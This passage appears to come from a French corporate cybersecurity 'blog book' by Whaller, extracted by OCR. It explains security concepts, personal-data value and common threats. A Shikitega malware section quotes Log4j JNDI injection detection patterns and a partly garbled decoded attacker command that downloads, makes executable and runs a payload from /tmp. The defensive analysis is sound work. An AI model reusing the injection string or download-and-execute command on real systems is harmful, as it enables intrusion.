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Introduction

« L'Odyssée numérique de Whally » vous offre une plongée dans le monde fascinant de la souverai
neté numérique et de la cybersécurité. C'est une invitation a explorer les différentes facettes de la
transformation numeérique et de comprendre ses impacts sur différents secteurs d'activité. Nous
partageons avec vous, a travers ces pages, les expériences et les enseignements tirés de I'année

2023, année riche en évolution technologique et en défis de sécurité numérique.

« L'Odyssée numérique de Whally » est congu pour vous accompagner partout, devenant ainsi une
source d'inspiration et d'information constante dans un monde digital en perpétuelle mutation. Alors
que nous laissons derriere nous une année de transformations majeures, nous observons comment
des technologies telles que la blockchain, l'intelligence artificielle et les plateformes collaboratives
comme Whaller ont non seulement fagconné les modes de travail, mais ont également joué un réle
crucial dans la protection des données et la gestion de la souveraineté numérique.

« L'Odyssée numeériqgue de Whally » met un accent particulier sur I'importance de la souveraineté
numérique dans un monde ou les données sont devenues un actif précieux. Il examine comment des
outils comme Whaller peuvent aider les organisations a renforcer leur sécurité, a améliorer la collabo

ration et a innover dans la maniére de travailler a distance.

En ces temps de digitalisation accélérée, impulsée par des circonstances mondiales sans précédent,
nous avons cherché a répondre a vos questions et a vous offrir des solutions pratiques pour naviguer
avec succes dans l'univers numérique. Ce Blog Book est un guide essentiel pour quiconque souhaite
comprendre et s'adapter aux changements rapides dans le domaine de la technologie et de la cyber

sécurité.

Nous vous invitons a rejoindre cette aventure passionnante et a participer a la prochaine édition de
« L'Odyssée numérique de Whally » en partageant vos expériences et vos idées avec nous, en nous
écrivant a I'adresse mail suivante : marcom@whaller.fr

Bienvenue dans le monde de Whaller, ou l'innovation numérique rencontre la souveraineté et la sécu
rité !

L'équipe Whaller



L'histoire de Whaller

Crée en 2013 par Thomas Fauré, Whaller est une plateforme francaise de réseaux sociaux et
collabo-ratifs sécurisés. Pendant 5 ans, Whaller a été une filiale du groupe Bolloré. En juin 2018,
nous avons pris notre indépendance. Nous nous efforcons de faire émerger des solutions
souveraines et indé-pendantes pour proposer des leaders forts face aux GAFAM et BATX.

En quelques chiffres :

- + 20 collaborateurs,

- 1000 000 utilisateurs,
- 4+ 200 clients,

- +10 expériences,

- 1déploiement par jour.

A propos de Whaller


https://whaller.com/fr/about

La cybersécurité al'ere
de I'hyperconnexion

Une vision proactive

Dans I'ere numérique ou nous naviguons, la cybersécurité est devenue un sujet de premier plan, tou-
chant aussi bien les entreprises que les individus. En tant que directeur de la Cybersécurité chez Whal-
ler, il me parait essentiel d'étre dans une posture de veille permanente , afin d'une part, d’identifier les

nouveaux modes opératoires des attaquants, mais aussi de faire évoluer nos dispositifs de protection

La cybersécurité n'est plus un sujet confiné aux départements IT ; elle est désormais omniprésente,
impactant chaque aspect de notre vie digitale. Les menaces évoluent rapidement, exploitant les failles
dans nos systemes et nos comportements. Face a cela, notre réponse ne peut étre que dynamique et
adaptative. Les entreprises, quelle que soit leur taille, doivent adopter une posture proactive, intégrant
la cybersécurité des la conception de leurs produits et services. Cela va au-dela de la simple mise en
place de solutions technologiques ; il s'agit d'une démarche globale impliquant tous les niveaux de I'or-
ganisation. Cependant, elle conduit aussi a I'humilité car en dépit des meilleurs efforts, le systeme sar

a 100% n'existe pas.

Dés lors que nous utilisons des services numériques, nous devons étre vigilants. Les cyberattaques les
plus courantes ciblent, souvent par facilité, I'utilisateur final, exploitant des lacunes dans la sensibilisa-
tion ou la négligence. Elles peuvent se déclencher autant dans le monde numérique que dans le
monde physique (attaque par Quishing). L'acculturation a I'hygiéne numérique est donc essentielle et

doit étre permanente.

Enfin, I'aspect collaboratif de la lutte contre les cybermenaces est crucial. Le partage d'informations
sur les menaces sur les modes opératoires des attaquants, les bonnes pratiques s'avéere étre indispen-
sable afin de rendre les attaques plus couteuses. Les cybercriminels ne se privent pas de partager de
I'information sur leurs victimes, il est donc évident qu'il doit en étre de méme du cété de la défense.

En somme, une cybersécurité efficace nécessite une vigilance constante et une adaptation rapide aux
nouvelles menaces. Chez Whaller, la cybersécurité fait partie de notre ADN et ne souffre aucune

discussion dans la mise en ceuvre des bonnes pratiques.

Cyril Bras
Directeur cybersécurité
Whaller & VP Hexatrust




Décrypter
la cyberseécurité

Cybersécurité

Cyril Bras, directeur de la Cybersécurité au sein de Whaller, nous décrypte la cybersécurité.


https://blog.whaller.com/2022/03/02/cyril-bras-rejoint-whaller-au-poste-de-directeur-de-la-cybersecurite/
https://whaller.com/

Qu’est-ce la Cyber
Resilience ?

La résilience, ce sont toutes
les mesures qui vont me per-
mettre de mieux faire face a
une situation anormale. Par
exemple, je suis victime d'une
inondation, jai un étage, je
monte tous mes meubles a
I'étage et quand l'inondation
est finie, je peux redescendre
mes meubles. La Cyber Resi-
lience, ¢ca va étre la méme
chose mais du point de vue
numeérique, c'est “gu’est-ce
que je fais en amont 7?7
“Quelles mesures je prends
pour me prémunir d'une

cyberattaque ?

Par exemple, je vais faire des
sauvegardes et je vais m'assu-
rer que ces sauvegardes ont
fonctionné. Je vais avoir un
inventaire de mon parc, je sais
quel serveur, quelles res-
sources, quel logiciel jutilise.
Je vais avoir tout un ensemble
de mesures organisationnelles
en place pour que le jour ou un
incident survient, je ne sois
pas a la recherche d'informa-
tions pour recréer mon
infrastructure ou redémarrer
mon service a minima pour, a
terme, revenir a une utilisation

nominale.

Qu’est-ce qu'un

« Firewall » ?

Un “Firewall” ou “Pare-feu” en
francais, c’est un équipement
en réseau physique. Mais
maintenant on se rend compte
gu’'un pare-feu, ca peut étre
aussi un logiciel qui vise a pro-
téger la ressource informa-
tique des accés malintention-
nés. Je vais avoir ne serait-ce
gque moi, ma maison, jai mon
ordinateur et bien je vais avoir
un pare-feu qui va étre installé
dessus pour empécher que
des gens s'introduisent dans
ma machine et aussi pour limi-
ter ce que ma machine envoie

par I'extérieur.

Dans une entreprise, je vais
avoir un pare-feu en entrée, en
coupure, entre la connexion
Internet et mes serveurs. Sur
ce pare-feu, je vais écrire des
regles qui vont dire par
exemple que j'autorise les per-
sonnes de l'extérieur a venir
consulter mon site web. En
revanche, les personnes de
I'extérieur ne peuvent pas aller
sur un autre serveur. De la
méme facon, le pare feu va
aussi embarquer des mesures
de sécurité. Par exemple, il
peut y avoir un antivirus a
I'intérieur, il peut faire de I'ana-
lyse de trafic Internet. Ce qui

fait que mes utilisateurs dans
mon entreprise, lorsqu’ils vont
Internet,

vouloir sortir sur

toutes leurs requétes vont
étre analysées par le pare feu
qui va oui ou non, les laisser
sortir en fonction des mesures
de sécurité qui auront été

définies.

Qu’'est-ce qu'un anti-
virus ?

Lantivirus, c’est un logiciel que
I'on va installer sur un serveur,
sur un poste de travail ou
méme sur un pare-feu afin de
détecter des codes malveil-
lants. Les codes malveillants,
qu’'est-ce que c'est ? Ce sont
des programmes informa-
tiques qui ont une finalité mal-
veillante d'exfiltrer de l'infor-
mation, de chiffrer de Ila
donnée pour me réclamer une
rancon derriére, ou bien tout
simplement de la détruire ou
méme de détruire physique-
ment du matériel. Un antivirus
al’heure actuelle, iln'y a aucun
équipement qui ne devrait se
trouver sans antivirus. Il n'y a
pas de systeme qui na pas de
menaces vis-a-vis des codes

malveillants.



Que ce soit un ordinateur Win-
dows, que ce soit un Mac, que
ce soit un Linux, peu importe,
tous ces systemes-la sont
infectés par des virus. Il y avait
une l|égende urbaine dail-
leurs, qui consistait a penser
gque les systemes Mac
n'‘étaient pas concernés par
les virus, qu’'il y en avait tres
peu. Il se trouve que c'est vrai-
ment totalement faux puisque
I'année passée il y a eu plus de
code malveillant développé
pour les Mac que pour Win-
dows. Donc c'est vraiment

une belle illustration.

Un antivirus, ¢ca ne peut pas
étre gratuit parce qu’'encore
une fois, “si c'est gratuit, c'est
vous le produit”. Il suffit de
regarder dans la presse ou lI'on
se rend compte qu’il y a eu
déja des cas ou les données
ont été revendues derriere. Il y
a vraiment une nécessité
d'étre mis a jour fréquem-
ment. Fréquemment
c'est-a-dire plusieurs fois par
jour, une fois par heure, etc.
Une version gratuite, au
mieux on aura une mise a jour
par jour, donc ca sera tres
largement insuffisant pour
avoir une idée du volume que
ca représente ces codes mal-

veillants. Tous les jours, on a

plusieurs millions de nou-
veaux virus qui sont créés et
petit a petit, l'antivirus est
capable de les détecter car ce
sont des virus déja connus et
tous les jours il reste 3000
nouveaux virus totalement
C'est

d'avoir

inconnus. vraiment

important quelque
chose qui va étre capable
d'éliminer tous ces virus et de
souscrire un abonnement

aupres d'un fournisseur.

En termes de choix, tout
dépend si on a a cceur la sou-
veraineté ou pas. Il y a des
opérateurs européens, des
opérateurs américains et des
Tout

dépend a qui on souhaite

opérateurs russes.
accorder sa confiance sur la
détection de codes malveil-

lants.

Qu'est-ce qu'une plateforme
MISP ?

MISP c'est un
permet de partager des I0C.

logiciel qui

Les I0C sont des indices de
compromission, des artéfacts
techniques qui correspondent
a des tentatives d'intrusion, a
des attaques avérées, mais
des marqueurs, c'est-a-dire

gue si je les analyse, si je les

reprends dans un autre envi-
ronnement, si je les trouve
chez moi. Ca veut dire que
potentiellement, mes ser-
veurs, mes ressources ont été
attaqués et peut-étre ont été

compromis.

Chez Whaller,
décidé de déployer ce type de

nous avons

plateforme pour accumuler de
I'informations parce que nous
avons des serveurs qui sont
attaqués tous les jours et
nous avons des signatures
d'attaques qui sont intéres-
santes, de cumuler pour nous
pour pouvoir savoir qui nous
veut du mal. Nous avons
décidé de les partager avec
nos clients et nos partenaires
afin de les aider en leur don-

nant ces éléments-la.

Si vous les retrouvez chez
vous, peut-étre potentielle-
ment vous avez été attaqué et
ca serait bien de chercher a
savoir si c'est vrai ou pas.


https://blog.whaller.com/2022/04/05/whaller-propose-a-ses-partenaires-une-plateforme-dechange-dioc-menaces-cyber/

Qu’est-ce qu'un «
pentest » ?

L'objectif de ces tests d'intru-
sion, c'est de rechercher les
vulnérabilités sur un systeme.
Nous définissons un périmetre
que nous voulons tester, par
exemple, les serveurs de lI'en-
treprise. Nous allons tout
d'abord

recherche sur

effectuer une
les services
exposeés sur Internet. Une fois
que nous avons énumeéreé tous
ces services-la, nous les avons

identifiés.

Nous allons utiliser des outils
qui vont spécifiguement tester
ces services pour savoir s'ils
sont a jour, si j'ai mis des mots
de passe robustes, s'il n'y a pas
des erreurs de configuration,
“est ce que je n‘ai pas laissé la

configuration par défaut” ?

Donc trouver un point d'entrée

sur ces services-la.

Le pentest, ca peut étre aussi
de I'intrusion physique.
C'est-a-dire que si je me rends
compte que par Internet je ne
peux pas accéder a une res-
source, elle est bien protégée,
il y a un pare-feu, il y a des
regles qui font que c'est com-
pligué d'y arriver. Je vais voir si

par I'environnement physique,

je ne peux pas m'introduire sur
ce serveur. Pour cela c'est soit
je m’introduis physiquement
dans les locaux de la structure
ou l'on fait le pentest, j'essaye
d‘aller sur le serveur, brancher
une clé USB, brancher un
implant informatique qui va
me donner un acces a distance
ou bien m'appuyer sur la vul-
nérabilité humaine en jetant
des clés USB devant l'entrée
de I'entreprise afin de voir qui
va prendre ces clés USB les
range sur son ordinateur pour
me donner acces au systeme

d'information.

Qu’'est-ce que repré-
sente la qualification
SecNumCloud ?

La qualification SecNumCloud
a été créée il y a quelgques
années par I’Agence nationale
de la sécurité des systémes
(ANSSI)

d'obliger les fournisseurs de

d'information afin
services cloud a respecter un
certain nombre de mesures de
sécurité afin de garantir a leurs
clients un usage en confiance
de leurs technologies et des

services gu'ils proposent.

SecNumCloud, c'est aussi la

garantie que les données sont
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hébergées en France. C'est
une des obligations a respec-
ter, les serveurs doivent étre
en France et ne pas étre
soumis a des lois extraterrito-

riales.
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Qu’est-ce que le RGPD
?

Le Réglement Général de Pro-
tection des Données (RGPD),
c'est un reglement européen
qui a été mis au point en 2016
par la Commission euro-
péenne, qui a demandé aux
Etats membres de le transpo-
ser dans leurs législations
nationales et avec une entrée
en vigueur prévue le 25 mai

2018.

Concretement, a quoi ca cor-
respond ? L'idée, c'est de pro-
tégerles données des citoyens
européens, quel que soit I'en-
droit ou ces données sont
localisées. Si elles sont sur un
serveur en France ou un ser-
veur aux Etats-Unis, le RGPP

va s'appliquer.


https://www.ssi.gouv.fr/

De quoi parle le RGPD ? 1
aborde deux critéres. Le pre-
mier, c'est que la sécurité doit
étre la par conception,
c'est-a-dire que lorsque je
mets en place une solution,
elle doit embarquer des me-
sures de sécurité, elle doit étre
a I'état de I'art. Je ne peux pas
me permettre d'avoir des ser-
veurs pas a jour, davoir des

mots de passe triviaux, etc.

Le second élément, c'est de
garantir la confidentialité par
défaut. C'est

guerre. C'est de faire en sorte

le nerf de la

que ces données-la, elles ne
soient pas librement acces-
sibles aupres de n‘importe qui,

n'importe quel internaute.

Le RGPD, va
demander

également
le consentement
des citoyens. C'est-a-dire que
lorsque je donne des données
me concernant, on doit me
demander mon avis, on doit
me dire ce qu’on va en faire. Ce
n‘est pas un libre accés a mes
données et un usage sans
mesure.

Lautre élément aussi, c'est
gu’il y a eu un changement
entre temps, quand ce RGPD
est arrivé, en France, nous
avions la loi informatique et

liberté qui cadrait déja ce que
nous pouvions faire avec les
données personnelles. Le
RGPD est venu un peu modifier
le réle de la Commission natio-
nale de I'informatique (CNIL) et
des libertés qui est I'organe en
charge de Iapplication du
RGPD en France et qui est
passé d'un organe qui va s'as-
surer que c'était a peu pres
bon, a maintenant nous vous
faisons confiance. Vous avez
de votre coté vous désignez
une personne qui va étre le
délégué a la protection des
données, qui va avoir la charge
de référencer tous les traite-
ments de données qui sont

dans l'entreprise.

Le jour ou un incident survient,
c'est lui qui va servir d’interlo-
cuteur avec la CNIL pour expli-
quer ce qui s'est passé et
guelles données ont été affec-
tées. Est-ce que ces données
étaient bien correctement
enregistrées dans son registre
de traitement ?

Qu’est-ce qu'un VPN ?
Le VPN - Virtual

Network, c'est une technologie

Private

qui, en anglais, signifie un

réseau privé virtuel et qui a

"

pour objectif de créer un
tunnel entre un poste client,
un ou plusieurs postes client,
et un nceud de communica-
tion, en général le serveur a un

serveur de lI'entreprise.

L'idée de tunnel VPN c'est que
lorsque je le lance, toute ma
navigation, tout ce que je vais
faire va étre cachée vis-a-vis
d’'Internet va étre envoyée
dans ce tunnel qui est un
tunnel chiffré et toutes les
données seront véhiculées de
facon transparente vers le

point de sortie.

L'autre avantage aussi du VPN,
cest que le poste client se
retrouve dans la méme situa-
tion que s'il était physique-
ment dans les locaux de I'en-
treprise. De ce fait, toutes les
mesures de sécurité qui sont
mises en ceuvre au quotidien
pour protéger lI'acces aux res-
sources, l'acces a Internet, le
collaborateur qui se retrouve
en situation de nomadisme va
bénéficier des mémes avan-

tages, des mémes protections.



Que valent
nos donnees
personnelles ?

Cybersécurité
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Il est aujourd’hui pratiquement impossible d’éviter de divulguer au moins certaines de vos don-
nées personnelles. Chaque fois que vous visitez un site web, utilisez les médias sociaux, acceptez
les conditions générales, vous inscrivez a un formulaire ou approuvez les cookies, vos données-

sont collectées.
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Pour posséder ces données,
les entreprises du numérique
sont prétes a payer afin d'ob-
tenir un avantage concurren-
tiel en offrant un niveau de
personnalisation de leurs pro-
duits et de

comme cela n‘a jamais été vu

leurs services
auparavant. Par exemple,
I'algorithme de Spotify vous
propose des artistes et des
listes de lecture en fonction de
votre age, de votre sexe, de
votre localisation et de votre
historique d'écoute. Pour vy
parvenir, l'application s'est
appuyée sur les données per-
sonnelles de [linternaute.
Autre exemple : il est dans
I'intérét d’Amazon de nous
encourager a parcourir son
site, méme si nous n‘achetons
rien. L'historique des éléments
consultés, les mots-clés utili-
sés ou le temps passé sur une
page, peuvent tous étre mo-
nétisés.
Aussi, sources de profits
potentiels, les données per-
sonnelles sont surnommeées le
nouvel or blanc. En 2020, on
estime qu'une personne type a
créé 1,7 mégaoctets de don-
seconde de

nées chaque

chaque jour.

Mais qu'appelle-t-on nos «

données personnelles », qui
les exploite et comment
sont-elles évaluées, autant de
nous

questions auxquelles

allons tenter de répondre.

Qu'est-ce qu'une
donnée personnelle ?
Les données personnelles
sont « toute information per-
mettant d'identifier directe-
ment ou indirectement une
personne physique » selon la
Commission Nationale de
I'Informatique et des Libertés.
Elles peuvent étre divisées en
quatre catégories:
Données personnelles : elles
concernent les informations
personnellement identifiables,
telles que le numéro de sécuri-
té sociale et le sexe, votre
adresse |IP, les cookies du
navigateur web et les identi-
fiants de l'appareil (que votre
ordinateur portable et votre
appareil mobile possedent) ;
Données d'engagement : ces
données concernent la ma-
niere dont les consommateurs
interagissent avec le site web
d'une entreprise, les applica-
tions mobiles, les messages
texte, les pages de médias
sociaux, les e-mails, les publi-
cités payantes ;

13

Données comportementales :
cette catégorie fait référence
aux deétails transactionnels
tels que les historiques
d'achat, les informations sur
I'utilisation du produit (par
exemple, les actions répétées)
et les données qualitatives
(par exemple, les informations
sur les mouvements de la
souris).

Données attitudinales : ces
dernieres mesurent la satis-
faction du consommateur, les
criteres d'achat, la désirabilité

du produit, etc.

Comment nos données
personnelles sont-elles
utilisées ?

La maniere dont vos données
sont utilisées et valorisées
dépend du profil et des objec-
tifs de ceux qui les utilisent.
Nous pouvons distinguer
quatre types de grands utilisa-
teurs : les GAFAM et les plate-
formes, les entreprises, les
services publics et les organi-

sations malhonnétes.


https://www.cnil.fr/fr/definition/donnee-personnelle

Les GAFAM (Google, Apple,
Facebook, Amazon et Micro-
soft) et les plateformes
(comme Twitter, LinkedIn ou
YouTube), qui offrent aux utili-
sateurs un endroit pour créer
leur propre contenu, utilisent
les données comme monnaie
d'échange pour soutenir leurs
ventes publicitaires. Parce que
leurs services sont utilisés par
des centaines de millions
d'utilisateurs chaque jour, ils
génerent des milliards de dol-
lars de revenus annuels en les
exploitant, en les vendant (via
un data broker) ou en les
échangeant contre d‘autres

données.

Les entreprises sont, elles,
prétes a investir des milliards
dans la publicité, car les don-
nées collectées permettent de
garantir que le bon message
touchera le bon public au bon
moment. Ainsi, elles peuvent
cibler et ajuster trés finement
leurs produits, leurs services
et leurs communications pour
assurer un haut retour sur

investissement.

Les services publics ne sont
pas en reste, qui, eux aussi
analysent les données
connectées pour améliorer la

qualité de leurs missions.

Enfin, les organisations mal-
honnétes (ou criminelles)
volent des données person-
nelles pour diverses raisons
(chantage, usurpation d'iden-
tité, extorsion), mais la plus
courante consiste a vendre
ces informations a quiconque
est prét a payer. Ces ache-
teurs sont souvent d‘autres
organisations criminelles, des
courtiers en données, et
méme des gouvernements
étrangers. Parce que le vol est
facile, peu cher et sans consé-
guence, ceux qui les font
peuvent souvent vendre les
données volées a un prix net-
tement inférieur a celui d'une
plateforme ou d'un courtier en

données.

Combien valent les

données personnelles
pour les entreprises ?
Actuellement, il n'existe

aucune formule reconnue
mondialement pour identifier
la valeur de nos informations
personnelles. Néanmoins, des
études montrent que la valeur
dépend d'abord du sexe et de
I'age. Par exemple : les entre-
prises sont prétes a dépenser
plus pour acquérir les données
des hommes plutét que celles

des femmes ou bien les entre-
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prises sont prétes a payer plus
pour les données des 18-24
ans que pour celles des 25-34
ans. En outre, les informations
d'‘évolution majeures dans la
vie d'une personne, comme se
flancer, devenir parent, démé-
nager, acheter une voiture,
sont parmi les données les
plus chéres car elles
entrainent des changements

dans les habitudes d'achat.

D'une maniere générale, il res-
sort de toutes les études que
les données personnelles de
base sur un individu (par
exemple, I'age, le sexe et le
lieu) ne valent que 0,0005 €
par personne (cest-a-dire
0.50 € pour mille personnes).
Les informations financieres
sur un individu (tels que I'his-
torique des paiements récents
ou les détails de santé) sont
Iégérement plus précieuses.

Dans le cas de Facebook, la
valeur moyenne des données
d'un utilisateur actif pour
Facebook est d’environ moins
de 2 euros par mois. Par
ailleurs, les revenus publici-
taires de Google sont un bon
indicateur de la valeur des
données
2020,

généré environ 26 euros.

personnelles. En

chaque utilisateur a



Néanmoins, il existe une autre
estimation de la valeur des
données personnelles. Selon
les données d'une enquéte de
CouponBirds, un site web d'in-
formations états-unien sur les
coupons et les consomma-
teurs, l'acheteur américain
moyen serait prét a vendre ses
données personnelles pour 1
452,25 S. En ventilant les don-
nées par Etat, il est apparu que
les habitants du Colorado
demanderaient 2 800 S contre
623 S pour les habitants du
Tennessee. In fine, il reste une
question en suspens : quel que
soit I'Etat, est-ce le juste prix ?
Comme nous l'avons vu plus
haut, il est impossible de
répondre a cette question, les
données de certaines per-
sonnes valant plus que

d'autres.

Une autre maniere de tente de
connaitre la valeur des don-
nées a été de poser la question
aux internautes, combien fau-
drait-il payer une personne
pour qu'elle cesse d‘utiliser
Google. La réponse est 17 500
dollars par an, et plus de 500
dollars par an pour I'amener a
désactiver son compte Face-
book.

Il faut se souvenir d’'un dicton

a propos du monde numeérigue
: « Sivous ne payez pas le pro-
duit, alors vous étes le produit
». La conséquence est que de
nombreux services que Nous
utilisons « gratuitement » sur
le web gagnent de leur argent
en fournissant des données
personnelles aux annonceurs.
Cela veut donc bien dire que
vos données sont disponibles,
qu'elles ont de la valeur et
qu'elles sont probablement
plus précieuses que vous ne le

pensez.

Afin d’en avoir le coeur net, le
Financial Times a programmé
une calculatrice interactive
qui aide a calculer la valeur des
données personnelles d'un
individu. Elle

recueillir pour faire son calcul

propose de

des informations comme les
données personnelles (age,
sexe, etc.), antécédents fami-
liaux, état de santé, achats en
ligne, ainsi que son gout pour
des activités. Cependant, elle
n‘englobe pas de trés nom-
breux détails que les spécia-
listes du marketing recueillent
pour profiler les individus.

Alors, combien valent vos don-
nées personnelles ? Faites le

test.
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https://www.couponbirds.com/research-center/data/how-much-are-shoppers-willing-to-sell-their-personal-data
https://ig.ft.com/how-much-is-your-personal-data-worth/#axzz2z2agBB6R

Shikitega, le code
malveillant furtif qui cible
les systemes Linux

Cybersécurité

Shikitega

Malware Linux/|

Si pendant de nombreuses années, les défenseurs du systéme d’exploitation Linux se louaient de
I'absence relative de codes malveillants a ectant ce systéme, tout ceci a commencé a voler en
éclat dans le dernier trimestre de 2021. Cependant cette lIégende perdurant encore de nos jours,
la proportion de code malveillants Linux est peut-étre sous-estimée aussi en raison du faible taux

d’équipement de ces serveurs en solutions antivirales.
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https://linux.developpez.com/actu/336440/Linux-un-logiciel-malveillant-combine-une-furtivite-inhabituelle-avec-une-suite-complete-de-fonctions-les-logiciels-malveillants-pour-Linux-sont-en-hausse-et-atteignent-leur-niveau-le-plus-eleve/
https://www.welivesecurity.com/fr/2020/02/25/entretien-linux-logiciels-malveillants/

En septembre 2022, un groupe de chercheur en Cybersécurité de chez AT&T découvre un nouveau
code malveillant furtif ciblant explicitement les systemes Linux, il fut nommé Shikitega. Ce code
utilise des vulnérabilités pour se propager sur les systemes notamment les CVE-2021-4034 et
CVE-2021-3493 ; on remarque alors des vulnérabilités datant de 2021 | Comme I'a récemment
évoqué I'ANSSI dans son panorama de la Cybermenace de 2022, bon nombre d'incidents observés

par I'agence ont pour origine I'exploitation de vulnérabilités anciennes, connues et corrigées.

Il n'y a donc rien d'étonnant a ce qu'un code malveillant utilise de vieilles failles. Pourquoi alors rédi-
ger un article sur ce code malveillant ? Et bien tout simplement pour partager des éléments qui ont
permis a la direction Cyber de Whaller de détecter comment un attaquant a essayé de déployer ce

code sur certains de nos serveurs.

Grace aux éléments mis a disposition par le CERT-FR, il est possible d'écrire des regles de détection
lors de I'analyse des journaux d‘activité. En partant du bulletin CERTFR-2021-ALE-022 qui traitait
des vulnérabilités CVE-2021-45046 et 45105 concernant LOG4J, il est possible de rechercher cer-
tains motifs contenus dans les URL et les User-agent : ${jndi: ainsi que $%7Bjndi:

Comment fonctionne le code malveillant Shikitega ?

La premiéere alerte a été activée par une tentative d'exploitation de vulnérabilité Log4J.

Nous retrouvons dans le user-agent le pattern communiqué par le CERT-FR ${jndi:

Continuons nos investigations du code malveillant, le user-agent contient une chaine encodée en

baseé64 voyons quelles informations I'on obtient en la décodant.

wget -no ma 1.-:I.'ir.'- pwer =g -F fimp/ &&chmed TT7

HAmipdpaver SEMppaar SEnm T A pd e

Il s'agit donc de I'exécution de la commande wget qui permet le téléchargement d'une ressource. La
vulnérabilité Log4J est résumée par le CERT-FR par:

« Cette vulnérabilité permet a un attaquant de provoquer une exécution de code arbitraire a
distance s’il a la capacité de soumettre une donnée a une application qui utilise la bibliothéque log4;
pour journaliser I'événement. Cette attaque peut étre réalisée sans étre authentifié, par exemple en
tirant parti d'une page d‘authentification qui journalise les erreurs d'authentification. »

Le Centre gouvernemental de veille, d'alerte et de réponse aux attaques informatiques (CERT-FR)
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https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux
https://www.ssi.gouv.fr/actualite/un-niveau-eleve-de-cybermenaces-en-2022/
https://blog.whaller.com/2022/03/02/cyril-bras-rejoint-whaller-au-poste-de-directeur-de-la-cybersecurite/
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

Ainsi, ce code exécuté sur un serveur vulnérable permettra le téléchargement du fichier pwer, son

exécution, puis sa suppression. Lanalyse du fichier montre qu'il s'agit d'un exécutable.
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L'exécution en environnement bac a sable sur JoeSandbox montre une multitude d'itérations avec

de nombreux programme téléchargés et exécutés.
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En guise de conclusion, avoir des systéemes a jour et regarder régulierement ses logs sont des étapes

indispensables pour se prémunir de tout code malveillant.
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https://www.joesandbox.com/#linux

La gestion des risques
cyber dans les entreprises

Cybersécurité

Les entreprises dépendent de
plus en plus des technologies
numeériques dans l'exercice de
leurs missions. Qu'il s‘agisse

des directions commerciale,

financiére, industrielle ou des
ressources humaines, tous
leurs services ont été digitali-
sés. L'objectif est de maximi-
serla vélocité, I'agilité, I'effi -
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cité et la rentabilité de ces

derniers.



Néanmoins, si pour I'écrasante
majorité des décideurs la digi-
talisation est une priorité, a
mesure que celle-ci s'accroit,
les cyberattaques se déve-
loppent concomitamment. En
effet, les hackers utilisent des
technologies de plus en plus
sophistiqguées pour mener a
bien leurs attagues mais s'ap-
puient aussi sur des failles

béantes dans les systemes.

Afin de vous aider a identifier
les risques cyber - c'est-a-dire
a diminuer autant que faire se
peut vos vulnérabilités - nous
avons dressé la liste des 10
menaces les plus courantes
auxquelles vous étes exposés.

1. Rancongiciels et

logiciels malveillants
Le rancongiciel, ou ran-
somware, consiste en l'intro-
duction sur le systeme d'infor-
mation de la victime d'un logi-
ciel malveillant qui chiffre I'en-
semble de ses données et lui
demande une rancon en
échange de la clef de déchif-
frement. Le paiement de la
rangon ne garantit en aucune
maniere l'obtention de la clef.
Limpact d'une telle attaque
affecte la productivité de I'en-

treprise, les temps d'arrét du

systeme, le colt de la recons-
truction des systemes et du

remplacement du matériel.

Pour s'’en prémunir, il convient
de sauvegarder le patrimoine
informationnel régulierement
et de contrdler que les sauve-
gardes  fonctionnent. Le
déploiement d’'un antivirus sur
I'intégralité des machines
(postes utilisateurs, serveurs
smartphones...) permettra
également de détecter plus
facilement les logiciels mal-

veillants.

2. Attaques de termi-
naux

En plagcant leurs ressources
dans le cloud et en autorisant
leurs collaborateurs de plus en
plus souvent a utiliser des
postes de travail a distance,
les entreprises ont augmenté
leur exposition a des risques
cyber.

Le défi est, |a, de savoir com-
ment sécuriser au mieux ces
systemes hors site et ces
appareils distants. Plusieurs
approches sont possibles,
concernant l'informatique en
nuage, I'application du
concept Zero Trust force la

mise en ceuvre de dispositif
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d’'authentification forte et glo-
balement d‘augmenter les
preuves a fournir pour obtenir
un acces a la ressource. Ce
concept s'applique également
pour le nomadisme numérique
et va exiger que l'utilisateur
garantisse son identité mais
également que son poste
informatique ne présente pas
de risque pour s’introduire sur

le réseau de I'entreprise.

3. Hameconnage ou
phishing

L'hameconnage, ou phishing,
des e-mails professionnels
restent la cyberattaque
low-tech la plus utilisée par les
cybercriminels pour accéder
aux réseaux d'entreprises. Les
e-mails d’hameconnage res-
semblent a des e-mails quoti-
diens normaux provenant
d’'entreprises et de personnes
de confiance. En cliquant sur
des liens malveillants, la
victime arrivera sur des «
vraies-fausses » pages lui
demandant généralement de
« mettre a jour » ou de «
confirmer vos informations
suite a un incident technique
», notamment des coordon-
nées internes (codes person-

nels, identifiants, etc.).



La sensibilisation des collabo-
rateurs permettra de limiter
les chances de succes, l'at-
taque par hameconnage se
situant sur le volet sémantique
elle est difficile a détecter par
des logiciels. Des mesures
techniques telles que le chif-
frement ou la signature élec-
tronique des e-mails per-
mettent aussi de limiter les

risques.

4. Attaques parla
chaine d'approvision-
nement

Une attaque par la chaine
d'approvisionnement, ou parla
chaine logistique, se produit
lorsqu’'un cybercriminel cible
les fournisseurs d'une entre-
prise plutét que l'entreprise
elle-méme. Il se sert du tier
comme d'un cheval de Troie.
Ces attaques sont donc plus
difficiles a détecter et a empé-
cher si vos fournisseurs n'ap-
pliquent pas des politiques
strictes de cybersécurité et
n‘utilisent pas des outils per-
formants.

Il est donc indispensable de
vous assurer que vos fournis-
seurs ont mis en place de me-
sures de cybersécurité suffi-
santes. Il est possible d’enca-

drer ces mesures a l'aide d'un

plan d‘assurance sécurité

(PAS).

5. Attaques d'appren-
tissage automatique et
d'intelligence artifi-
cielle
Alors que l'apprentissage
automatique (Machine Lear-
ning, ML) et l'intelligence arti-
ficielle (1A) sont utilisés par les
entreprises, ils sont également
utilisés par les cybercriminels
pour lancer des attaques. Avec
ces outils, les cybercriminels
peuvent élaborer des attaques
sophistiguées sans  pour
autant disposer de compé-

tences élevées.

L'application des regles d'hy-
giene numérique (application
des correctifs, acculturation a
la cybersécurité des collabo-
rateurs, faire des sauve-
gardes..) sont toujours la
parade élémentaire a déployer
pour mieux gérer les risques

cyber.

6. Attaques loT

L'utilisation de [l'Internet des
objets (IoT) augmente chaque
jour. L'loT comprend tout, des

ordinateurs portables aux
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tablettes, en passant par les
routeurs, les webcams, les
appareils électroménagers, les
montres intelligentes, les
appareils médicaux ou les
automobiles. Plus d'appareils
connectés signifient plus de
risques cyber. Une fois contro-
Iés par des hackers, les appa-
reils loT peuvent étre utilisés
pour surcharger les réseaux,
exploiter des données sen-
sibles ou verrouiller des équi-
